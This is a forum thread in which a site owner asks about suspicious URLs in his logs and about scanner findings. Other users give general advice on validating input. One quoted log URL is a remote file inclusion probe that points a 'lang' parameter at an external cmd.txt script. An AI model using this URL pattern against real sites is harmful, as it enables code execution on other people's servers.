Need help about XSS (Cross Site Scripting) issue in my site

Hello,

Some days ago, i checked my site visitor statistic and i was really wonder because there was many strange url found.

Here are some of them:

http://www.mydomain.com/order.php?lang=http://rpgnet.com/newrpgnet/intranet/cmd.txt

Part of url in bold didnt exist in the site.

So, could you give me solution about this problem? What should i do?
Are they dangerous?

I really need your help. Thanks in advance.

 

Also i have checked it with web application security scanner, and indeed there are many part of the site's script vulnerable to xss (cross site scripting) attack.

 

you need to see if you can get that fixed asap, it usally indicates that they might be able to get into your server via it - which is obviously a bad thing

some of the attacks basicly are where you can get an application to open a remote url with code in it, so it'll run on your server (which is obviously a very bad thing)

 

@powerspike
So, do you have any solutions? or direction where should i find the right answer? Any body?

 

It's most likely some script kiddie just running queries on any GET on your page.. though it shouldn't be an issue as long as the script is validating any input / REGISTER_GLOBALS is off.

 

dude, how can you expect a solution without seeing the code or the site?

 

Right.

We are not hackers here to find that out.

 

I won't let you know which site it is, for security reason.
But here're some of scanning result using acunetix (web vulnerability scanner) :

And here's it suggestion about how to fix:

Do you have any idea what is and how to filter metacharacters from user input?

Your help would be appreciated.

 

Hi, i can give you the site script if you want to help me.